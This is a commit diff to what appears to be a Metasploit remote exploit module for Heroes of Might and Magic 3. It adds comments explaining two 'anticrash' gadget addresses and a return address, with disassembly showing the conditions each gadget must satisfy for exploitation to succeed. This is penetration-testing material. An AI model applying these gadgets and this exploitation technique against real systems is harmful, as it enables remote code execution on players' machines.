add documentation

bug/bundler_fix
aakerblom 2015-07-31 13:53:56 -07:00
parent 013201bd99
commit 6671df6672
1 changed files with 25 additions and 0 deletions

View File

@ -39,7 +39,32 @@ class Metasploit3 < Msf::Exploit::Remote
[
'H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]',
{
# Two "Anticrash"-gadgets are needed or the game will crash before ret
#
# Anticrash1, needs to pass the following code down to final JMP:
# MOV EAX, DWORD PTR DS : [ESI + 4] ; [anticrash_gadget1 + 4]
# XOR EBX, EBX
# CMP EAX, EBX
# JE SHORT <crash spot> ; JMP to crash if EAX is 0
# MOV CL, BYTE PTR DS : [EAX - 1]
# CMP CL, BL
# JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0
# CMP CL, 0FF
# JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0xFF
# CMP EDI, EBX
# JNE <good spot> ; JMP to good spot. Always occurs if we get this far
#
# Summary: An address which when incremented by 4 and then dereferenced
# leads to for example a string which is preceeded neither by a 0x00 or 0xFF
'Anticrash1' => 0x004497D4,
# Anticrash2, needs to return out of the following call (tricky):
#
# MOV EAX, DWORD PTR DS : [ECX] ; [anticrash_gadget2]
# CALL DWORD PTR DS : [EAX + 4] ; [[anticrash_gadget2] + 4]
#
# Summary: An address which when dereferenced leads to an address that
# when incremented by 4 and then deferenced leads to a function returning
# without accessing any registers/memory that would cause a crash.
'Anticrash2' => 0x006A6430,
'Ret' => 0x004EFF87, # CALL [ESP] Heroes3.exe
}